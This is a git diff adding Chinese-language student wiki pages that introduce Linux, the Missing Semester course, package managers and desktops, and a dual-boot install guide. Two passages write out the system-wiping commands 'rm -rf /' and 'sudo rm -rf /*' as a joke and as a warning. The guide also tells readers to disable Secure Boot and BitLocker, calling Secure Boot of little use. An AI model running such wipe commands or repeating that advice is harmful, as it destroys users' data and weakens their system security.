+
+并且相当多的开发软件在 Linux 上有更好的兼容性，而到 windows 上你将会花费大量的时间配置各种环境变量还容易出错。
+
+并且目前，服务器上为了保证低损耗，高效率，基本上百分之九十九都是 Linux 的系统，实验室的服务器也是 Linux 系统。
+
+简单来说就是，你如果想干点事情，肯定要靠 Linux，因此学会 Linux 的操作是不可或缺的
+
+而且我个人认为，linux 的自由性对于 CSer 来说非常适合，他不会阻止你干任何操作，你可以充分体会所以你的命令带来的影响 (rm -rf /)
+
+### GUI 与 CLI
+
+诚然，我们现在的图形化界面（GUI）已经深入到了生活的方方面面，但是优劣如何对比呢？
+
+[Command line vs. GUI](https://www.computerhope.com/issues/ch000619.htm)
+
+这篇文章详细对比了图形化界面和单纯的终端命令的优劣
+
+## How Linux???
+
+那么这么好的东西哪里可以获得呢？
+
+因为 Linux 有诸多发行版本，我在这里建议大家使用 Ubuntu22.04  作为主要版本进行使用
+
+如果你很猛，去试试 arch!
+
+任务：装 Ubuntu22.04 或者 debian，如果你想删了自己的系统，可以试试 deepin，当然，也会有一些兼容性问题，不过会支持一些中文软件
+
+tip1：推荐这个 [3.Y.3VMware 的安装与安装 ubuntu22.04 系统](3.Y.3VMware%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E5%AE%89%E8%A3%85Ubuntu22.04%E7%B3%BB%E7%BB%9F.md)
+
+tip2：可以使用 WSL[3.Y.4WSL 的安装](3.Y.4WSL%E7%9A%84%E5%AE%89%E8%A3%85.md)，<del>但是我更建议实装到电脑上双系统之类的</del>，正好锻炼一下<del>装系统</del>倒腾的能力。大可不必删了 windows 换成 ubuntu。
+
+tip3：前两个 tip 二选一。
+
+在开始之前，建议先阅读[3.Y.1Linux概念普及](3.Y.1Linux概念普及.md),了解一些基本概念，**免得把系统搞坏了**，尤其是 WSL 有可能把 Windows 也一块带走，**之前就有群友做到过**。
+
+任务：阅读 GUI 与命令行之间对比的文章，尝试开始阅读英文文章
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.0计算机教育中缺失的一课.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.0计算机教育中缺失的一课.md
new file mode 100644
index 0000000..fc4069a
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.0计算机教育中缺失的一课.md
@@ -0,0 +1,31 @@
+# 计算机教育中缺失的一课
+
+Author : ek1ng , Data : 2023.07.24 , Mail : <ek1ng@qq.com>
+
+## 计算机教育中缺失的一课
+>
+> [https://missing-semester-cn.github.io/](https://missing-semester-cn.github.io/)
+> [https://ek1ng.com/Missing%20Semester.html](https://ek1ng.com/Missing%20Semester.html)
+
+这是一份国外的课程，主要专注于各类工具的使用，可以看一看课程的介绍：
+
+>大学里的计算机课程通常专注于讲授从操作系统到机器学习这些学院派的课程或主题，而对于如何精通工具这一主题则往往会留给学生自行探索。在这个系列课程中，我们讲授命令行、强大的文本编辑器的使用、使用版本控制系统提供的多种特性等等。学生在他们受教育阶段就会和这些工具朝夕相处（在他们的职业生涯中更是这样）。
+>因此，花时间打磨使用这些工具的能力并能够最终熟练地、流畅地使用它们是非常有必要的。
+
+以及相应的目录：
+
+- **1/13**: [课程概览与 shell](https://missing-semester-cn.github.io/2020/course-shell/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//course-shell-solution)
+- **1/14**: [Shell 工具和脚本](https://missing-semester-cn.github.io/2020/shell-tools/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//shell-tools-solution)
+- **1/15**: [编辑器 (Vim)](https://missing-semester-cn.github.io/2020/editors/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//editors-solution)
+- **1/16**: [数据整理](https://missing-semester-cn.github.io/2020/data-wrangling/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//data-wrangling-solution)
+- **1/21**: [命令行环境](https://missing-semester-cn.github.io/2020/command-line/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//command-line-solution)
+- **1/22**: [版本控制 (Git)](https://missing-semester-cn.github.io/2020/version-control/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//version-control-solution)
+- **1/23**: [调试及性能分析](https://missing-semester-cn.github.io/2020/debugging-profiling/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//debugging-profiling-solution)
+- **1/27**: [元编程](https://missing-semester-cn.github.io/2020/metaprogramming/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//metaprogramming-solution)
+- **1/28**: [安全和密码学](https://missing-semester-cn.github.io/2020/security/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//security-solution)
+- **1/29**: [大杂烩](https://missing-semester-cn.github.io/2020/potpourri/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)![](https://img.shields.io/badge/Solution-%E2%9C%98-orange)
+- **1/30**: [提问&回答](https://missing-semester-cn.github.io/2020/qa/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)![](https://img.shields.io/badge/Solution-%E2%9C%98-orange)
+
+目录中的内容和这份`Wiki`中不少内容重合，当然我觉得作为一份校园学生为爱发电多人合作编辑的`Wiki`，内容有重复冗余再所难免。我比较推荐以这份教材作为计算机工具的学习，下面是我大一时学习课程的一些记录，这些课程都比较缺少一些中文的文章，能够直接看英文的一些材料当然很好，但是如果遇到一些困难，也许你可以在这里找到我先前所踩的坑。
+
+> [The Missing Semester of Your CS Education](https://ek1ng.com/Missing%20Semester.html)
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.1Linux概念普及.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.1Linux概念普及.md
new file mode 100644
index 0000000..74a7079
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.1Linux概念普及.md
@@ -0,0 +1,173 @@
+# Linux 概念普及
+
+## Before Start
+
+在使用 Linux 之前，请确保自己会使用计算机。如果 Windows 都玩不转的，可以先补下基础知识。
+
+- 什么是文件？什么是文件系统？
+- 操作系统是干什么的？
+- 软件是怎么运行起来的？
+
+## What is Linux Distribution
+
+Linux 不同于 Windows 和 macOS 这类系统，它没有官方维护的版本。Linux 的官方只负责维护核心，而给这个核心加上各种软件变成能用的操作系统的重任，就交给了下游的各个组织和公司。所谓发行版，就是把一系列的软件和核心放在一起，经过测试之后，做成一个完整的系统，分发给用户。
+
+这个模式给 Linux 提供了多样性。用户可以选择适合自己的发行版。虽然在早期这使适配软件变得有些困难，使不同发行版割裂开来，给 Linux 的发展带来了阻碍。但是现在是 2023 年，随着包管理的规范化和新一代打包系统的兴起，这个状况得到了极大的改善。现在我们可以自由选取发行版，而不用过度担心软件适配的问题。
+
+简而言之，GNU/Linux 加包管理加桌面约等于发行版，虽然不严谨，但是差不多贴近事实。
+
+### Package Manager
+
+一般来说，一个 Linux 的发行版最核心的部分是包管理模式。这通常通过包管理器和软件源实现。
+
+包 (package) 类似 Windows 的安装包，它包含了要安装的软件以及一些额外的信息，但是同 Windows 安装包不同，它只是一个压缩包，不能自己运行安装，必须经过包管理器。用户很少需要直接下载安装它，而是通过包管理器。我们也不鼓励安装不在仓库里面的包，如果系统软件源里面没有可以去 flatpak。至于某些专有软件，我更推荐丢进 Windows 10 LTSC 虚拟机。
+
+包管理器 (package manager) 负责安装和管理软件包。它读取软件包，按照软件包的要求去安装它的依赖 (通常是一些运行库，就像 Windows 下面的 VC++ 和 .NET)，然后自动把包安装到规定的位置。
+
+软件源 (repository) 是用来存放软件包的网站。包管理器就是从软件源服务器上下载包的。因为软件源通常在国外，软件包下载可能会比较慢。所以我们一般使用国内各个高校的镜像源，修改软件源的地址就是所谓换源。
+
+有些人可能会纠结软件装到哪里去了，是装在什么盘上面了。这个不需要管。因为 Linux 的目录的定义和 Windows 有很大不同，这使得一些 Windows 上面的繁琐操作在 Linux 上面很多余。
+
+这些常见的包管理器
+
+- apt(dpkg): apt 是 Debian 系发行版的包管理器。基本上提供 Linux 安装包的软件都会支持。
+- pacman: Arch 系的包管理器。可以使用 AUR(Arch User Repository)，这里也能找到很多软件。
+- rpm: Red Hat 系的包管理器。包比较少。只是由于中文互联网有很多死去的 CentOS 的教程遗留，所以提出来介绍一下。
+- dnf: Fedora 的包管理器。
+- flatpak: 通用包管理器，是个 Linux 桌面端都能安装使用。使用的 flathub 软件源上面有非常丰富的桌面软件支持（甚至有 QQ），建议发行版软件源里面没有的都可以先看看 flathub 有没有，如果有就 flatpak 安装，而不是拿着网站上面下过来的 deb 文件手动安装，这样很容易搞坏系依赖管理。
+- snap: 通用包管理器，只有 Ubuntu 强推。我建议使用 Ubuntu 的把这个卸载了换成 flatpak 避免影响使用体验。
+
+不同的包管理器决定了不同的发行版。因此一般用包管理器做发行版的分类依据。
+
+### Desktop Environment
+
+桌面环境对用户而言当然也是很重要的，很大程度决定了用户体验。在 Linux 上面，桌面只是一些普通的程序，可以随便安装和更改。所以会有很多的桌面可供选择。不过这个选择一般来说发行版都帮你选好了。
+
+#### Gnome
+
+Gnome 曾一度成为 Linux 桌面的代名词，因为很多发行版默认会安装这个桌面。Gnome 的风格比较独特，有点类似 macOS，但是有不少自己的东西。对触控板手势的适配不错。
+
+开箱状态连任务栏和桌面图标都没有，好在可以手动安装。一般各个发行版默认安装了 dash-to-dock(任务栏)，desktop-icons(桌面图标) 这些插件。
+
+设置比较少，不过可以通过 gnome-tweaks 补上。这样基本的设置都能覆盖。
+
+#### KDE
+
+KDE 也是非常热门的桌面。类似 Windows 的操作逻辑和极强的可定制性让他更适合 Linux“玩家”。
+
+比较旧的版本里面可能会默认单击打开文件夹，可以在工作区 (workspace) 设置中改成双击。
+
+KDE 的 GUI 功能做的还是不错的。而且提供了不少有用的套件。
+
+Discover 应用商店可以直接使用发行版包管理器和 flatpak 进行安装，收录了很多软件，并且可以自动进行系统更新检查。
+
+设置里面的选项很多，可以随便改。喜欢折腾的可以去看看 Theme，只是系统自带的主题安装器需要哈利波特才能使用。
+
+自带的代理设置有些软件不会读，比如 Firefox, 给这些软件单独设置一下就行。
+
+#### Cinnamon
+
+Cinnamon 目前大众的发行版只有 Linux Mint 在支持，但是这也是个不错的桌面，适合小白。
+
+#### Xfce || LXQT
+
+如果你有一台老爷机，这两个桌面也许是个不错的选择。
+
+#### Display Manager
+
+在开机登陆用户的时候，那个让你输密码的界面并不是桌面，而是 DM(Display Manager)，如果你有多个桌面，可以在这里切换。
+
+我建议不要管这个，发行版用什么就跟着用。如果要自己安装都建议 SDDM。
+
+#### Wayland and X11
+
+显示服务器是比桌面更底层的东西，处在系统内核和桌面之间，用来管理窗口。这个一般碰不到，只要了解你使用的是 X11 还是 Wayland 就行。X11 是老的，Wayland 是新的。
+
+现在 (2023 年) 的时间点非常尴尬，处于 X11 和 Wayland 换代的节点上面。一方面 X11 太老旧了 (十几年没有大更新了) 对有些新事物支持不好，比如 2k 屏幕 1.5 倍缩放的屏幕撕裂问题。另一方面 Wayland 支持虽然已经大致完善，但是有些死硬派没跟上，说的就是你，Nvidia！
+
+好在大多数发行版并不需要纠结这些。非 N 卡的 Gnome 和 KDE 桌面基本都是 Wayland 了，其他的桌面环境或者使用 N 卡都会用 X11。
+
+但是有些发行版可能忘了给 N 卡换 X11, **如果你桌面登不进去**，请检查自己的环境是否是 Wayland，如果是，**换成 X11**。
+
+如果你 N 卡要强开 Wayland，请参照自己使用的发行版的 wiki 以及 Arch Linux wiki, 看看有什么需要注意的点。
+
+## Distro
+
+大多数发行版是基于某几个特定的发行版魔改的。所以会有“系”的说法。常见的有 Debian 系，Arch 系 Red Hat 系和 SUSE 系。其中 Red Hat 系主要面向企业，桌面版除了 Fedora 并不多见。
+
+服务器发行版建议 Debian，用 Ubuntu 也是可以的。如果在中文互联网找资料可能会见到 CentOS，但是 CentOS 如今已经停止维护了，所以看到之后绕着走就行。
+
+在[3.Y.2 双系统安装和发行版推荐](./3.Y.2双系统安装和发行版推荐.md) 推荐的发行版都是针对**双系统/单系统方案**的，因为在实机安装日常使用的时候，发行版对体验的影响才会体现出来，这样我写下的文字就会帮你剩下不少时间。
+
+**对于虚拟机**，你不会在乎用户体验的，安装完新鲜感一过肯定就不打开了，偶尔遇到什么必须要用 Linux 的需求才会突然想起来有这个虚拟机。所以发行版**选择 Ubuntu 即可**，毕竟人气最高。要是对着百度上面刚刚找到的教程一顿猛敲之后，发现发行版不一样，那 Linux 就又风评被害了。
+
+在安装系统的时候，建议安装时统一使用 English，装好之后再换成中文或者干脆不换。
+
+对某些很新的硬件，比如 13 代酷睿和 40 系 N 卡 (2023 年)，在其他发行版出现兼容性问题的情况下，可以使用 Debian 或者 Arch Linux 等等靠近上游的发行版，他们通常支持得比较好。
+
+## Linux How to?
+
+### Directory
+
+在 Linux 中，文件目录结构与 Windows 完全不同。Windows 存在 C 盘、D 盘等盘符，而在 Linux 中不存在这些划分，最上层的目录是根目录，路径为 `/` ，并以一个树形结构从此向下一级一级区分。没有盘符，只有路径。虽然可以多分区，但是分区是挂载到某个路径的，而不是分配盘符。用 Windows 的思维去理解就是盘符没了，全部挂进文件夹里面了，从 / 开始是根分区，就像 C 盘，`/` 底下有 `usr` `home` `var` 等等文件夹，这些文件夹可以是普通文件夹，也可以让其他磁盘分区当这个文件夹。分区还可以挂载到 `/media/root/abcd` 。这样的好处很明显，就是在路径上面模糊了分区，分区的地位和普通文件夹差不多了，非常简单，对写程序很友好。
+
+因为舍弃了盘符的概念，一般我们在 Linux 系统上仅仅使用一个挂载到 `/` 的分区 (简称 `/` 分区) 或者一个 `/` 分区和一个 `/home` 分区。这样分区可以得到充足的空间，所以不会出现 C 盘装满了或者 C 盘文件多导致开机慢的情况，也就没有必要支持自定义的安装目录。
+
+对于 Linux 的树形文件结构，存在相对路径与绝对路径之分。绝对路径是代表从根路径 `/` 开始的完整路径，如 `/home/testuser/Download`。相对路径代表从当前目录，到目标目录的一个部分路径。比如当前你所在的目录为 `/home/testuser`，那么切换到绝对路径 `/home/testuser/Download` 的相对路径即为 `./Download`。其中 `./` 代表从当前目录，再向下寻找。另外，`..` 这种两个句点代表的是向上层寻找，比如你当前所在的路径为 `/home/testuser/Download`，向上寻找到 `/home/testuser/Desktop` 的相对路径即为 `../Desktop`。
+
+当前用户的 home 文件夹简称为 `~/`，假设我们的用户名是 `user`:
+
+```bash
+user@computer:~$ cd ~/
+user@computer:~$ pwd
+/home/user
+```
+
+### User
+
+Linux 在设计之初就是一个多用户操作系统，不像潜伏在多用户操作系统里面的纯正单用户操作系统 Windows。
+
+![](https://cdn.xyxsw.site/windows-single-user.jpeg)
+
+因此，Linux 对于用户和权限的管理比较严格，可能经常要你输 root 密码。
+
+简单来说，Linux 中存在两类用户。第一类用户即为 root 用户，也称为超级用户，它拥有系统中最高的权限。第二类用户就是除了 root 用户的普通用户，他们可以拥有不同等级的权限。使用 root 权限时需要十分小心。
+
+一般情况下，我们使用的都是普通用户。但是要进行一些涉及较高权限的操作，比如安装软件和修改系统设置的的时候，我们就会使用 sudo 软件临时切换到 root 用户进行操作。
+
+```bash
+# 一些例子。
+# 当你尝试安装 vim ，却忘记了 sudo
+$ apt install vim
+E: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied)
+E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root?
+# 这样就可以安装了
+$ sudo apt install vim
+```
+
+切记，root 权限的使用要小心，不要随便粘贴指令！一条命令就可以干掉整个系统，比如 `sudo rm -rf /*`！
+
+### 本土化
+
+想要正常使用系统，哈利波特是必须的。建议跟着[这篇教程](https://arch.icekylin.online/guide/rookie/transparent.html)走，但是 Debian 系没有这个软件，自己去 Github 上面找这个软件。
+
+发行版会有一个全局的代理设置，但是有些软件就是不肯自己读取，点名 Firefox。不过好办，分别单独设置就行。
+
+由于海外的服务器下载慢，我们会把软件源换成国内各个高校的镜像。这点参考镜像站给出的教程。
+
+输入法一律推荐 fcitx5 搭配 fcitx5-chinese-addons，并打开云拼音。不推荐 rime，太老了。强烈不推荐搜狗，搜狗使用的是 fcitx4 框架，太老了。一般来说 Debian 系的发行版都有一个叫做 im-config 的软件包负责管理输入法，快捷方式名字通常是叫做 Input Method，在这里切换到 fcitx5 就行。Arch Linux 系则需要自己设置环境变量。
+
+2024 年更新：rime-ice 也是个不错的输入法，并且支持 ibus, Ubuntu 用户也许可以选择，这样不需要动默认输入法设置，虽然我更推荐再装一个 fcitx5。
+
+### 如何寻求帮助
+
+首先阅读[提问的智慧](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md)，这对提升个人素养很有帮助。也有助于和能够提供帮助的人有效交流。
+
+一般来说，各个发行版都有自己的 Wiki，里面介绍了发行版本身的特点，常用的软件和各种问题的解法。但是有些发行版的 wiki 年久失修，可能会过时或者缺失内容导致无法解决问题。这时候可以其他发行版的 wiki，只要了解发行版之间的差异，自己适度发挥，也能解决问题。推荐的有 [Arch Linux wiki](https://wiki.archlinux.org) (神中神，非常推荐) 和 [Debian wiki](https://wiki.debian.org) (Debian 系可以看)，他们的社区比较活跃，维护比较积极。
+
+社区是 Linux 当中重要的组成部分。发行版通常有自己的论坛，邮件组和 IRC 频道。如果你确信你面对的是一个全新的问题，网上找不到已有的解决方案。或者你的能力不足以找到解决方案。可以尝试在这些地方求助。保持良好的态度，尽可能详细地描述问题，相信会有志愿者来解答的。
+
+### 推荐阅读
+
+- [archlinux 简明指南](https://arch.icekylin.online/): 虽然是 Arch Linux 的教程，但是写的很好，其他发行版也能参考。
+- [Linux 就该这样学](https://www.linuxprobe.com/docs/LinuxProbe.pdf): 不错的书，适合长期看。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐.md
new file mode 100644
index 0000000..5d520ef
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐.md
@@ -0,0 +1,613 @@
+# Distro
+
+这篇文章是关于双系统的发行版推荐，如果只是想尝试 Linux, 暂时没有长期使用的打算，可以直接跳过。
+
+## 前言
+
+我接触桌面版 Linux 有些年头了。  
+Linux 省了我不少时间，也花了我不少时间。也算用出点心得了，知道 Linux 有多必要，也知道有多坑。  
+曾经我试图寻找一个“最好的”版本向新人推荐，事实证明这样的想法是走了弯路。  
+现在我敢说没有一个发行版能完全做到“新手友好”，都或多或少存在一点坑。与其寻找一个“终极”发行版，不如列一个发行版选择清单，可以根据自己的需求选择。给常见坑摘要，提供修复方法，或者给出某个发行版出现致命问题时给出替代选择。争取让入门 Linux 难度降下来。
+
+## Notice
+
+::: warning
+再次声明：这篇文章是关于双系统的发行版推荐，如果只是想尝试 Linux, 暂时没有长期使用的打算，可以直接跳过。  
+请仔细阅读本文，并按照步骤操作，否则可能会**导致系统无法使用甚至丢失数据**。建议提前**备份数据**，避免手误。  
+:::
+
+双系统安装时，**关闭快速启动，关闭安全启动，关闭 Bitlocker**！
+
+已知快速启动开启时，Windows 会锁定无线网卡和硬盘等硬件，导致 Linux 无法使用。关闭快速启动可以在主板或者 Windows 上面设置。建议在 Windows 上面设置。[如何关闭快速启动（知乎）](https://zhuanlan.zhihu.com/p/589927741)
+
+大部分 Linux 发行版不支持安全启动，因为要给微软交钱。事实上这个功能对安全性没有太大作用，请在主板的 BOIS 设置内关闭。如果听说过引导区病毒并且很确信自己需要防御的，可以自行解决签名问题，这里限于篇幅不会给出。
+
+Bitlocker 可能会自杀最好关掉。如果你很确信自己有加密需求，建议提前备份所有重要数据，并准备 [WePE](https://www.wepe.com.cn/download.html) 和 [Windows 安装镜像](https://www.microsoft.com/en-us/software-download/windows10)，随时准备修复。
+
+我们始终建议使用包管理器。目前已知的除了 VSCode 需要手动安装，其他的都尽量使用系统自带和 Flatpak。
+
+## USB-live
+
+在开始之前，请准备一个空的 U 盘。
+
+建议使用 [Ventoy](https://www.ventoy.net/cn/index.html) 这款工具制作可启动 U 盘，这样可以直接把 ISO 文件拖进 U 盘，在先后安装不同发行版的时候不需要反复烧录 U 盘。
+
+但是这个方案无法使用某些 iso，比如 Debian 的 DVD 镜像就会因为找不到挂载点而失败。这时候你可能需要使用 [rufus](https://rufus.ie/zh/) 对 U 盘进行烧录。
+
+## Beginner
+
+列出常见的开箱即用发行版，不一定推荐，但是总觉得得提两句，方便选择。
+
+### Debian based
+
+由于大部分 Debian 系发行版使用同样的安装程序，只有一些细微的差别，所以我只给出 Linux Mint 的详细安装教程，其他发行版提出一些要点即可举一反三。
+
+这类发行版使用的都是 apt 包管理器，大多数软件都是互通的。
+
+#### Linux Mint
+
+就我个人认为，对新手来说 Linux Mint 是个不错的入门发行版。它基于 Ubuntu，软件生态好。Cinnamon 桌面可能不是很惊艳，但是简洁直观。
+
+Mint 对很多需要打命令的操作都做了 GUI，这样新手更容易使用。这是我见过为数不多的把开箱即用和可定制结合的比较好的主流发行版。
+
+首先去 Mint 官网 <https://linuxmint.com/download.php> 下载 Cinnamon 版本。如果你使用新硬件可以下载 Cinnamon Edge。
+
+点击 Download 之后会跳转到下载页面，你可以下拉列表选择 China 源进行下载，速度会很快。
+
+如果有 Windows 存在的情况下，Mint 可以自动选择一个最大的分区，让你划出一定大小的空间用来安装。如果你分了很多盘，你可以在 Windows 下提前使用 Diskgenius 之类的分区软件整理你的分区，把剩余空间集中到一个盘上面，好让 Mint 自动缩小你想要缩小的盘，而不是手动指定。操作页面就像这样。
+
+![mint windows size](https://cdn.xyxsw.site/mint-windows-size.png)
+
+##### 安装
+
+用手机打开这个教程，插上你的 U 盘，关机。我们就可以开始安装了。
+
+首先要启动到 U 盘，这个请自行查阅你们的电脑的启动方法。如果成功，你就可以看到这个页面。按下回车，耐心等待，就可以进入安装页面了。在这个页面按下回车。
+
+![boot](https://cdn.xyxsw.site/mint-install-1.png)
+
+不久就进入这个页面。打开左上角的安装程序可以进行安装。如果使用 Ventoy 让你 umount 什么点确定就可以了。
+
+![live](https://cdn.xyxsw.site/mint-install-2.png)
+
+建议使用英文进行安装，以后自己手动设置中文，这样配置不容易出错。所以这里点击 Continue 就行
+
+![language](https://cdn.xyxsw.site/mint-install-3.png)
+
+continue
+
+![keyboard](https://cdn.xyxsw.site/mint-install-4.png)
+
+勾选，然后 continue. 这样 mp4 一类的格式就可以默认正常打开。
+
+![multimedia](https://cdn.xyxsw.site/mint-install-5.png)
+
+由于我这里是虚拟机，只有清空磁盘的选项。你们如果已经有 Windows 的机子可以选择 install alongside Windows。
+
+![install type](https://cdn.xyxsw.site/mint-install-6.png)
+
+在地图上找到中国，点击。
+
+![location](https://cdn.xyxsw.site/mint-install-7.png)
+
+输入你的用户名和密码。密码建议别太简单，以后如果要跑公网服务给打烂了就不好了。这里的密码就是反面教材，字典两分钟打爆的那种。
+
+![user](https://cdn.xyxsw.site/mint-install-8.png)
+
+等待安装。
+
+![installing](https://cdn.xyxsw.site/mint-install-9.png)
+
+你可以查看安装程序的输出。
+
+![still installing](https://cdn.xyxsw.site/mint-install-10.png)
+
+准备重启。
+
+![install complete](https://cdn.xyxsw.site/mint-install-11.png)
+
+##### 配置
+
+第一次启动。可以看到画风还是很贴近 Windows 的。
+
+![first boot](https://cdn.xyxsw.site/mint-install-12.png)
+
+默认使用的软件源在国外，下载很慢，我们要换成国内源。
+
+Linux Mint 的很多操作都是有对应的软件的的，非常方便。通过按 Win 键左下角的启动菜单，直接搜索名字就能打开相应的软件。很多人从 Windows 那里带来了放一桌面的快捷方式的习惯。Linux 的软件一般不放桌面快捷方式，而是通过菜单打开，这样更清爽高效。
+
+在左下角搜索 software sources, 进入换源页面。其他软件也可以用这样的方式打开。
+
+![software source](https://cdn.xyxsw.site/mint-install-13.png)
+
+输入密码。
+
+![opening](https://cdn.xyxsw.site/mint-install-14.png)
+
+分别将 Main 和 Base 的源都换成国内源。我这里换成中科大的源，你们也可以换其他的。
+
+![initial source](https://cdn.xyxsw.site/mint-install-15.png)
+
+换源的页面长这样，可以点击选择，然后 右下角 Apply 即可
+
+![select mirror](https://cdn.xyxsw.site/mint-install-16.png)
+
+这里选 Main 的源。
+
+![USTC](https://cdn.xyxsw.site/mint-install-17.png)
+
+Base 的源。
+
+![next mirror](https://cdn.xyxsw.site/mint-install-18.png)
+
+可以看到源换好了，按下 OK 就可以保存更改。
+
+![mirror](https://cdn.xyxsw.site/mint-install-19.png)
+
+接下来就是安装输入法。打开 Synaptic 包管理器，这是一个 apt 的 GUI 页面，比较适合新手。点开 Search, 输入 fcitx5，搜索。
+
+![install fcitx5](https://cdn.xyxsw.site/mint-install-20.png)
+
+勾选 fcitx5，在弹出的窗口点击确定。然后勾选 fcitx5-chinese-addons。因为 fcitx5 只是一个框架，输入法在 fcitx5-chinese-addons 里面，所以两个都要安装。
+
+点击左上方的 Apply 就可以安装了。
+
+![select fcitx5 and install](https://cdn.xyxsw.site/mint-install-21.png)
+
+安装完成之后，打开 input method，将输入法从 none 切换到 fcitx5, 保存。
+
+![change input method](https://cdn.xyxsw.site/mint-install-22.png)
+
+现在已经切换成功了。
+
+![fcitx5](https://cdn.xyxsw.site/mint-install-23.png)
+
+打开 Fcitx5 Configuration，在右侧的可用输入法页面中搜索 Pinyin，选中，点击两个分页面中间的左箭头即可添加 pinyin 到 fcitx5. 然后点击下方 Apply 即可。
+
+![add pinyin](https://cdn.xyxsw.site/mint-install-24.png)
+
+可以点击 Global Options 的标签页来修改快捷键。
+
+![global options](https://cdn.xyxsw.site/mint-install-25.png)
+
+下一步，在 Language Settings 里面修改当前的语言为中文。
+
+![langauge settings](https://cdn.xyxsw.site/mint-install-26.png)
+
+如果你是 Nvidia 显卡，现在可以打开 Driver Manager 安装 Nvidia 的驱动。我因为是虚拟机截不到图。建议 40 系显卡使用 525 版本的驱动，而不是他的推荐的 535，亲测崩溃。
+
+![setting up driver](https://cdn.xyxsw.site/mint-install-27.png)
+
+这些都完成了就可以重启了。重启之后会问你要不要更新路径，选择保留就的名称 (Keep Old Names).这很重要，如果你不想在 bash 中 cd 来 cd 去的时候切换输入法的话。
+
+![next boot](https://cdn.xyxsw.site/mint-install-28.png)
+
+![fcitx5 font size](https://cdn.xyxsw.site/mint-install-29.png)
+
+![flatpak change mirror](https://cdn.xyxsw.site/mint-install-30.png)
+
+![boot](https://cdn.xyxsw.site/mint-install-31.png)
+
+剩下就是一些安装后常用的操作了。Mint 默认自带 Flatpak，所以也不需要手动安装了。
+
+#### Ubuntu
+
+Ubuntu 可能是最热门的发行版，某些情况下提到 Linux 就是 Ubuntu。但是 Ubuntu 有时候会作出对开发者而言比较迷惑的操作。
+
+wiki 已有安装教程，我就不自己写了。
+
+那么如何配置？
+
+##### 卸载 snap
+
+首先卸载 Snap。注意这样会直接干掉 Firefox，所以确保你已经阅读下面所有内容再开始操作。可以先复制到文本编辑器当中。
+
+打开终端，输入
+
+```bash
+sudo systemctl disable snapd.service
+sudo systemctl disable snapd.socket
+sudo systemctl disable snapd.seeded.service
+sudo snap remove firefox
+sudo snap remove snap-store
+sudo snap remove gtk-common-themes
+sudo snap remove gnome-3-38-2004
+sudo snap remove core18
+sudo snap remove snapd-desktop-integration
+sudo rm -rf /var/cache/snapd/
+sudo apt autoremove --purge snapd
+rm -rf ~/snap
+```
+
+接着禁用 firefox 的 snap。
+
+打开配置文件：
+
+```bash
+sudo nano /etc/apt/preferences.d/firefox-no-snap
+```
+
+在文件中粘贴以下内容，保存：
+
+```text
+Package: firefox*
+Pin: release o=Ubuntu*
+Pin-Priority: -1
+```
+
+把 Firefox 请回来
+
+```bash
+sudo add-apt-repository ppa:mozillateam/ppa
+sudo apt update
+sudo apt install firefox
+```
+
+如果安装过慢，可以 `Ctrl+C` 暂时杀掉。打开 Software Update(软件与更新)，修改 ppa，从 `http://ppa.launchpad.net` 换成 `https://launchpad.proxy.ustclug.org`。最后重新执行安装命令。
+
+![](https://cdn.xyxsw.site/ubuntu-ppa.png)
+
